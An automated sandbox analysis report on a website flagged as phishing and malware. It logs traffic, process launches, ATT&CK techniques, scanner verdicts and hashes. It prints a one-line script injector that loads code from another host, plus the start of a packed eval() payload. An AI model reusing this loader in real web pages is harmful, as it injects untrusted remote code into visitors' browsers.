Source: global traffic	HTTP traffic detected: GET /static/picture/mobile.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/partner-shape.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/jquery.magnific-popup.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/partner1.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/partner2.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/picture/partner3.png HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://m.yanhaiegou.com/Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/bootstrap.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1
Source: global traffic	HTTP traffic detected: GET /static/js/jquery-3.6.0.min.js HTTP/1.1Host: m.yanhaiegou.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=fenihjn4bc6d0aevh2apje3mj1

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2220,i,11151567539130516511,17712183396881889397,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://m.yanhaiegou.com/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2220,i,11151567539130516511,17712183396881889397,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Browser Extensions	1 Process Injection	1 Process Injection	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Name	IP	Active	Malicious	Reputation
oudngmslhifnsf.gdmgcyy.com	156.224.2.38	true	false	high
www.google.com	142.250.185.132	true	false	high
m.yanhaiegou.com	154.193.118.37	true	true	unknown

Source	Detection	Scanner	Label
http://m.yanhaiegou.com/static/images/hero-bg.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/screen1.jpg	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/member2.jpg	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/app-icon1.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/js/script.js	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/images/discover-tools-bg.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/47a4d65fdef1441393cbc8dbe31f5f44.css	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/js/slick.min.js	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/member1.jpg	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/hero-dot-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/fonts/flaticon.woff2	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/js/jquery-3.6.0.min.js	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/tool2.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/screen4.jpg	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/flaticon.css	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/member4.jpg	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/tool1.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/images/video-bg.jpg	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/js/bootstrap.min.js	100%	Avira URL Cloud	malware
https://oudngmslhifnsf.gdmgcyy.com/tj.js	0%	Avira URL Cloud	safe
http://m.yanhaiegou.com/static/picture/powerful-tools-shape2.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/blog-shape2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/responsive.css	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/powerful-tools-shape1.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/service-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/screen5.jpg	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/partner2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/logo.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/fontawesome-v5.9.0.min.css	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/leaflet.min.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/member3.jpg	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/tj.js	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/js/leaflet.min.js	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/discover-tools-shape1.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/fonts/fa-brands-400.woff2	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/blog-shape1.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/partner3.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/hero-moon-shape.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/feature-shape3.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/css/slick.min.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/icon1.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/hero-right-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/tool4.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/partner4.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/fonts/92zatbhpnqw73otd4g.woff2	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/discover-tools-shape2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/feature-shape2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/app-screen-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/images/icon-bg-shape3.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/spacing.min.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/graph.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/tool3.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/powerful-tools.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/menu.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/partner1.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/hero-circle-shape.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/style.css	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/team-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/mobile-frame.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/feature-shape1.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/js/jquery.magnific-popup.min.js	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/css/magnific-popup.min.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/testimonial-shape.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/partner-shape.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/app-icon2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/icon3.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/screen3.jpg	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/images/icon-bg-shape1.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/css/bootstrap.min.css	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/fonts/fa-solid-900.woff2	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/icon2.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/images/icon-bg-shape2.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/screen2.jpg	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/images/defaultpic.gif	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/static/picture/discover-tools.png	100%	Avira URL Cloud	phishing
http://m.yanhaiegou.com/static/picture/mobile.png	100%	Avira URL Cloud	malware
http://m.yanhaiegou.com/favicon.ico	100%	Avira URL Cloud	malware

Name	Malicious	Antivirus Detection	Reputation
http://m.yanhaiegou.com/static/js/script.js	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/screen1.jpg	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/member1.jpg	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/member2.jpg	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/hero-dot-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/css/47a4d65fdef1441393cbc8dbe31f5f44.css	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/images/hero-bg.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/app-icon1.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/js/slick.min.js	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/images/discover-tools-bg.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/fonts/flaticon.woff2	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/js/jquery-3.6.0.min.js	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/css/flaticon.css	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/member4.jpg	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/screen4.jpg	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/tool2.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/images/video-bg.jpg	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/js/bootstrap.min.js	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/tool1.png	true	Avira URL Cloud: phishing	unknown
https://oudngmslhifnsf.gdmgcyy.com/tj.js	true	Avira URL Cloud: safe	unknown
http://m.yanhaiegou.com/static/css/responsive.css	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/powerful-tools-shape2.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/blog-shape2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/service-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/partner2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/screen5.jpg	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/powerful-tools-shape1.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/css/fontawesome-v5.9.0.min.css	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/logo.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/member3.jpg	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/tj.js	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/css/leaflet.min.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/js/leaflet.min.js	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/discover-tools-shape1.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/fonts/fa-brands-400.woff2	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/blog-shape1.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/partner3.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/hero-moon-shape.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/css/slick.min.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/feature-shape3.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/icon1.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/hero-right-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/tool4.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/partner4.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/fonts/92zatbhpnqw73otd4g.woff2	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/discover-tools-shape2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/app-screen-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/images/icon-bg-shape3.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/feature-shape2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/css/spacing.min.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/graph.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/powerful-tools.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/tool3.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/#	true		unknown
http://m.yanhaiegou.com/	true		unknown
http://m.yanhaiegou.com/static/css/menu.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/hero-circle-shape.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/partner1.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/css/style.css	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/feature-shape1.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/team-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/mobile-frame.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/css/magnific-popup.min.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/js/jquery.magnific-popup.min.js	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/testimonial-shape.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/partner-shape.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/app-icon2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/screen3.jpg	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/images/icon-bg-shape1.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/css/bootstrap.min.css	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/icon3.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/icon2.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/fonts/fa-solid-900.woff2	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/images/icon-bg-shape2.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/static/picture/screen2.jpg	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/discover-tools.png	true	Avira URL Cloud: phishing	unknown
http://m.yanhaiegou.com/images/defaultpic.gif	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/static/picture/mobile.png	true	Avira URL Cloud: malware	unknown
http://m.yanhaiegou.com/favicon.ico	true	Avira URL Cloud: malware	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
239.255.255.250	unknown	Reserved	unknown	unknown	false
156.224.2.38	oudngmslhifnsf.gdmgcyy.com	Seychelles	133199	SONDERCLOUDLIMITED-AS-APSonderCloudLimitedHK	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
154.193.118.37	m.yanhaiegou.com	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	true

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589324
Start date and time:	2025-01-12 01:06:42 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://m.yanhaiegou.com/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.win@16/217@12/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	87
Entropy (8bit):	4.720733220885656
Encrypted:	false
SSDEEP:	3:yLRmc0NTbhN34BnGSBz43pSSIjf:yL/Cbb3GHtr
MD5:	DEAB99731237B52D1B60DD7D144A15C0
SHA1:	1CD0CA53FBD8C8943A02250AB2E4E47A66E420DA
SHA-256:	E1BFBE54FD1F16ED88120EAE9549E8CF7D708EB595D8C787930215B22B4497C2
SHA-512:	74C463682DE765E7ED115AD8A626E05EA8789078398E3A568DECF38561451B33980FAC4BA37C18B4189969FF51680CBE536CBCC99B7A1B3DAA3B67ED11D28548
Malicious:	false
Reputation:	low
URL:	http://m.yanhaiegou.com/tj.js
Preview:	document.writeln("<script src=\"https://oudngmslhifnsf.gdmgcyy.com/tj.js\"></script>");

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 12, 2025 01:07:36.992686987 CET	53	56431	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:37.204164982 CET	53	50605	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:38.290601015 CET	53	58898	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:41.505424023 CET	57562	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:41.505527973 CET	50430	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:41.512530088 CET	53	57562	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:41.512567043 CET	53	50430	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:43.225929976 CET	64627	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:43.226393938 CET	59692	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:43.772171974 CET	53	64627	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:43.787211895 CET	53	59692	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:43.788753986 CET	60132	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:44.336810112 CET	53	60132	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:46.416924953 CET	53522	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:46.417078018 CET	50285	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:46.419425964 CET	56773	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:46.419575930 CET	61222	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:46.439558029 CET	53	53522	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:46.455446959 CET	53	50285	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:46.962203979 CET	53	56773	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:46.973141909 CET	53	61222	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:46.973829985 CET	53036	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:46.981404066 CET	53	53036	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:48.788088083 CET	63305	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:48.788352966 CET	62207	53	192.168.2.4	1.1.1.1
Jan 12, 2025 01:07:48.800517082 CET	53	62207	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:48.801661015 CET	53	63305	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:49.913132906 CET	53	65514	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:55.326775074 CET	53	55771	1.1.1.1	192.168.2.4
Jan 12, 2025 01:07:55.530864000 CET	138	138	192.168.2.4	192.168.2.255
Jan 12, 2025 01:08:14.186667919 CET	53	61007	1.1.1.1	192.168.2.4
Jan 12, 2025 01:08:37.145811081 CET	53	60590	1.1.1.1	192.168.2.4
Jan 12, 2025 01:08:37.354494095 CET	53	63699	1.1.1.1	192.168.2.4

Timestamp	Bytes transferred	Direction	Data
2025-01-12 00:07:48 UTC	618	OUT	GET /tj.js HTTP/1.1 Host: oudngmslhifnsf.gdmgcyy.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://m.yanhaiegou.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-12 00:07:48 UTC	252	IN	HTTP/1.1 200 OK Server: openresty/1.21.4.3 Date: Sun, 12 Jan 2025 00:07:48 GMT Content-Type: application/javascript Content-Length: 805 Last-Modified: Sun, 19 May 2024 07:52:07 GMT Connection: close ETag: "6649afa7-325" Accept-Ranges: bytes
2025-01-12 00:07:48 UTC	805	IN	Data Raw: 3b 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 70 2c 61 2c 63 2c 6b 2c 65 2c 72 29 7b 65 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 3b 69 66 28 27 30 27 2e 72 65 70 6c 61 63 65 28 30 2c 65 29 3d 3d 30 29 7b 77 68 69 6c 65 28 63 2d 2d 29 72 5b 65 28 63 29 5d 3d 6b 5b 63 5d 3b 6b 3d 5b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 72 5b 65 5d 7c 7c 65 7d 5d 3b 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 27 5b 31 2d 35 37 2d 39 61 2d 67 5d 27 7d 3b 63 3d 31 7d 3b 77 68 69 6c 65 28 63 2d 2d 29 69 66 28 6b 5b 63 5d 29 70 3d 70 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 27 5c 5c 62 27 2b 65 28 63 29 2b 27 5c 5c 62 27 2c 27 67 27 29 2c 6b 5b 63 5d 29 3b 72 65 74 Data Ascii: ;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(36)};if('0'.replace(0,e)==0){while(c--)r[e(c)]=k[c];k=[function(e){return r[e]\|\|e}];e=function(){return'[1-57-9a-g]'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);ret

Timestamp	Bytes transferred	Direction	Data
